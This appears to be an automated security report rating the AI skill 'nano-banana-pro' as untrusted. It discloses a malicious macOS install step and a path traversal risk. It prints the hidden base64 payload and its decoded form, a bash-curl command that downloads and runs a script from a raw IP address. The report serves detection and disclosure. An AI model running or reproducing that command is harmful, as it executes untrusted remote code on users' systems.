Trust Assessment
nano-banana-pro received a trust score of 35/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 3 findings: 2 critical, 0 high, 1 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Untrusted Remote Script Execution via MacOS Installer, Potential Path Traversal via User-Provided Filename/Input Image.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. The LLM Behavioral Safety layer scored lowest at 63/100, indicating areas for improvement.
Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings3
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/nano-banana-pro-wepcdp/SKILL.md:10 | |
| CRITICAL | Untrusted Remote Script Execution via MacOS Installer The MacOS installation instructions include a base64 encoded command that, when decoded and executed, downloads and runs a script from an arbitrary, untrusted IP address (`http://91.92.242.30/lamq4uerkruo6ssm`). This allows for arbitrary code execution on the user's system, posing a severe supply chain risk and command injection vulnerability. The base64 string `L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC9sYW1xNHVlcmtydW82c3NtKSI=` decodes to `/bin/bash -c "$(curl -fsSL http://91.92.242.30/lamq4uerkruo6ssm)"`. Remove the malicious MacOS installation command. Provide a secure, verifiable installation method, or host the script on a trusted domain with integrity checks (e.g., checksum verification). | LLM | SKILL.md:9 | |
| MEDIUM | Potential Path Traversal via User-Provided Filename/Input Image The skill executes a Python script (`generate_image.py`) with `--filename` and `--input-image` arguments that are explicitly stated to be derived from user input. If the `generate_image.py` script does not properly sanitize these paths, a malicious user could use path traversal sequences (e.g., `../../`) to write files to arbitrary locations or read sensitive files from outside the intended skill directory. This poses a risk of command injection and data exfiltration. The `generate_image.py` script must sanitize all user-provided file paths (`--filename`, `--input-image`) to prevent path traversal. This typically involves resolving to an absolute path within an allowed directory and rejecting paths containing `..` or absolute paths outside the designated output/input directories. | LLM | SKILL.md:22 |
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